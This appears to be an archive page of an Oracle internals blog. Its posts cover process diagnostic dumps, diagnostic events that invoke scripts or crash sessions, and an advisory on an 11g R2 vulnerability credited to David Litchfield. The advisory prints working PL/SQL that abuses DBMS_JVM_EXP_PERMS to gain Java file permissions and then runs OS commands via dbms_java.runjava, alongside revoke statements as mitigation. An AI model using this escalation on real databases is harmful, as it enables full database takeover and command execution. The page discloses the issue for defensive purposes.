Oraclue

Oracle internals, debugging and undocumented features

Category Archives: Uncategorized

Oracle Online Demos and Tutorials

I am sure most of you are already familiar with these resources but sometime we all  forget where to look for quick help when is really needed.

I find these demos and tutorials very valuable .You can quickly find out what needs to be done to successfully implement particular feature without spending too much time digging Oracle documentation and other resources ( of course I strongly recommend reading Oracle Documentation before doing anything).

You can find them at  Online Demos and Online Tutorials

Oracle 11g R2 is also included.



Advertisements

Oracle Exploit Published 11g R2

Just found this alert..

Credit goes to David Litchfield .He found these vulnerabilities .This also affects 11g R2.

Overgenerous privileges for Java procedures allow users to escalate their own privileges, up to the point of gaining complete control over the database.

Basically  using DBMS_JVM_EXP_PERMS.IMPORT_JVM_PERMS user can change their privileges in the Java policy table so that the JVM allows them to execute operating system commands and to read and write files.

Here is  code:

DECLARE
POL DBMS_JVM_EXP_PERMS.TEMP_JAVA_POLICY;
CURSOR C1 IS SELECT ‘GRANT’,USER(), ‘SYS’,’java.io.FilePermission’,’<<ALL FILES>>‘,’execute’,’ENABLED’ from dual;
BEGIN
OPEN C1;
FETCH C1 BULK COLLECT INTO POL;
CLOSE C1;
DBMS_JVM_EXP_PERMS.IMPORT_JVM_PERMS(POL);
END;
/

After the Java privilege escalation it is possible to run OS commands using a simple SELECT statement:

select dbms_java.runjava(’oracle/aurora/util/Wrapper c:\\windows\\system32\\cmd.exe /c dir>c:\\out.lst’)from dual;

Oracle does not have patch for it yet but you should revoke privileges from PUBLIC for following packages:

revoke execute on DBMS_JVM_EXP_PERMS from public;
revoke execute on DBMS_JAVA from public;
revoke execute on DBMS_JAVA_TEST from  public;

On Database Trigger and current schema issue

I run into this issue few months ago:

Login as sysdba

bash-3.2$ sqlplus / as sysdba

SQL*Plus: Release 11.2.0.1.0 Production on Tue Jan 5 15:13:49 2010

Copyright (c) 1982, 2009, Oracle.  All rights reserved.
Connected to:
Oracle Database 11g Enterprise Edition Release 11.2.0.1.0 – 64bit Production
With the Partitioning, OLAP, Data Mining and Real Application Testing options

SQL>  create table test as select * from dba_tables;
create table test as select * from dba_tables
*
ERROR at line 1:
ORA-01950: no privileges on tablespace ‘USERS’

or try to compile invalid objects:

SQL>  @?/rdbms/admin/utlrp.sql
SELECT dbms_registry_sys.time_stamp(‘utlrp_bgn’) as timestamp from dual
*
ERROR at line 1:
ORA-00904: “DBMS_REGISTRY_SYS”.”TIME_STAMP”: invalid identifier

——–

PL/SQL procedure successfully completed.

I got a bunch of errors.It seems that SYSDBA  does not have enough privileges to run this code.

SQL> show user
USER is “SYS”
Read more of this post

Process diagnostic

Each Oracle process has a process state object.Process is running session  and session open transaction.Typically process has only one session object.

To dump a process state  I normally use:

alter session set events ‘immediate trace name processstate level 10’ or

oradebug dump processstate 10

This dump will produce file which has many different information about process itself like process global information, dump of memory , session wait history etc.

The oradebug  unit test harness command has option ( ksdxutdiagpid ) that will produce similar dump but smaller in size and with some information that are not included in processstate dump with level 10.

So here is my short list of commands :

oradebug setmypid
alter system flush buffer_cache;
select * from dba_extents;
oradebug unit_test_nolg ksdxutdiagpid
oradebug tracefile_name

First part of dump file has general process information like pid, sid, session serial etc

*** 2009-06-29 15:45:14.517
Process diagnostic dump for oracle@apollo (TNS V1-V3), OS id=6957,
pid: 29, proc_ser: 139, sid: 238, sess_ser: 30736
——————————————————————————-

Next section  has information about memory, swap and process.

loadavg : 0.21 0.17 0.13
memory info: free memory = 0.00M
swap info:   free = 0.00M alloc = 0.00M total = 0.00M
F S UID        PID  PPID  C PRI  NI ADDR SZ WCHAN  STIME TTY          TIME CMD
0 S oracle    5334     1  0  75   0 – 695798 –     Jun11 ?        00:00:42 ora_lgwr_test
0 S oracle    6957  6956  1  78   0 – 692473 pipe_w 15:41 ?       00:00:02 oracletest11g (DESCRIPTION=(LOCAL=YES)(ADDRESS=(PROTOCOL=beq)))
0 S oracle   25659     1  0  75   0 – 695799 –     Jun01 ?        01:07:44 ora_lgwr_demo

Third part is a short stack dump with all Oracle functions

Short stack dump: <-ksedsts()+315<-ksdxfstk()+32<-ksdxdocmdmultex()+3456<-ksdxdocmdmult()+29<-ksudmp_proc_short_stack()+697<-ksdhng_diag_proc_int(
)+2760<-ksdhng_diag_proc()+27<-ksdhng_diag_proc_ut()+139<-ksdxutdiagpid()+114<-ksdxuth()+1249<-ksdxen_int()+5656<-ksdxen()+14<-opiodr()+1220<-ttcp
ip()+1208<-opitsk()+1449<-opiino()+1026<-opiodr()+1220<-opidrv()+580<-sou2o()+90<-opimai_real()+145<-ssthrdmain()+177<-main()+215<-__libc_start_ma
in()+244<-_start()+41

Next part has information about wait stack and wait state:

Current Wait Stack:
0: waiting for ‘process diagnostic dump’
=0, =0, =0
wait_id=22666 seq_num=22667 snap_id=1
wait times: snap=0.153272 sec, exc=0.153272 sec, total=0.153272 sec
wait times: max=30.000000 sec
wait counts: calls=0 os=0
in_wait=1 iflags=0x1a0
Wait State:
auto_close=0 flags=0x22 boundary=(nil)/-1

and last part is dedicated to session wait history and sampled session history:

Session Wait History:
0: waited for ‘SQL*Net message from client’
driver id=62657100, #bytes=1, =0
wait_id=22665 seq_num=22666 snap_id=1
wait times: snap=0.002478 sec, exc=0.002478 sec, total=0.002478 sec
wait times: max=infinite
wait counts: calls=0 os=0
occurred after 0.002582 sec of elapsed time
1: waited for ‘db file sequential read’
file#=3, block#=1b179, blocks=1
wait_id=22664 seq_num=22665 snap_id=1
wait times: snap=0.000013 sec, exc=0.000013 sec, total=0.000013 sec
wait times: max=infinite
wait counts: calls=0 os=0
occurred after 0.000127 sec of elapsed time

———-
The history is displayed in reverse chronological order.

sample interval: 1 sec, max history 120 sec
—————————————————
[1 sample,                                                          15:45:14]
waited for ‘db file sequential read’, seq_num: 22340
p1: ‘file#’=0x2
p2: ‘block#’=0x9a53
p3: ‘blocks’=0x9a53
time_waited: >= 0 sec (still in wait)
[1 sample,                                                          15:45:13]
idle wait at each sample
[1 sample,                                                          15:45:12]
waited for ‘db file sequential read’, seq_num: 18907
p1: ‘file#’=0x2
p2: ‘block#’=0x13e03
p3: ‘blocks’=0x13e03
time_waited: 0.003633 sec (sample interval: 0 sec)
[1 sample,                                                          15:45:11]
waited for ‘db file sequential read’, seq_num: 16332
p1: ‘file#’=0x1
p2: ‘block#’=0x2b01
p3: ‘blocks’=0x2b01
time_waited: 0.005140 sec (sample interval: 0 sec)
[10 samples,                                             15:45:01 – 15:45:10]

Cool thing is that one command dump all of this.

Diagnostic events with debugger and crash..

Got this idea surfing Tanel’s post on Oracle’s dignostic events .He explained some unkown syntax for setting oracle diagnostic events.Full article can be found at:

http://blog.tanelpoder.com/2009/03/03/the-full-power-of-oracles-diagnostic-events-part-1-syntax-for-ksd-debug-event-handling/

It’s a very good post.In addition to this syntax there are  two  more options  for action keyword that I have used in the past.

Let me start with syntax that’s everyone familiar with:

  alter session set events '10046 trace name context forever, level 12';

action keyword or  trace in this case is most used.

Next one in line would be word debugger/debug

Debugger –  invokes system debugger

examples:

SQL> alter session set events ‘immediate debugger ‘;

Session altered.

 

OR   SQL> alter session set events ‘immediate debug’;

Session altered.

SQL> alter session set events ‘parse_sql_statement debugger’;

Session altered.

SQL> alter session set events ‘10117 debugger’;

Session altered.

 

You can use debuger to call  script or command:

vi debug.sh

/bin/echo Hello World! $*

SQL> alter system set”_oradbg_pathname”=’/oracle/admin/test/scripts/debug.sh’;

System altered.

SQL> alter system set events ‘logon debugger’;

System altered.

SQL> Disconnected from Oracle Database 10g Enterprise Edition Release 10.2.0.3.0 – 64bit Production
With the Partitioning, Oracle Label Security, OLAP and Data Mining options
-sh-3.1$ sqlplus / as sysdba

SQL*Plus: Release 10.2.0.3.0 – Production on Mon Mar

Copyright (c) 1982, 2006, Oracle. All Rights Reserved.

Hello World! 13813

Connected to:
Oracle Database 10g Enterprise Edition Release 10.2.0.3.0 – 64bit Production
With the Partitioning, Oracle Label Security, OLAP and Data Mining options

 

Other word but more fun  is word CRASH .It will crash oracle process for testing , so be carefull.

Do not crash wrong session.

examples:

SQL> alter session set events ‘deadlock crash’;

Session altered.

 Crash someone session:

SQL>  oradebug setospid 19779
Oracle pid: 36, Unix process pid: 19779, image:
SQL> oradebug event immediate crash
ORA-00072: process “Unix process pid: 19779, image:  is not active

Crash your own session:

SQL> alter session set events ‘immediate crash’;
alter session set events ‘immediate crash’
*
ERROR at line 1:
ORA-03113: end-of-file on communication channel
Process ID: 13799
Session ID: 107 Serial number: 7376

Crash on event:

SQL> alter session set events ‘<event_name>  crash’;

Session altered.

SQL> alter session set events ‘parse_sql_statement crash’;

Session altered.

SQL> alter session set events ‘0x23E crash’;

Session altered.

 

Happy Crashing 🙂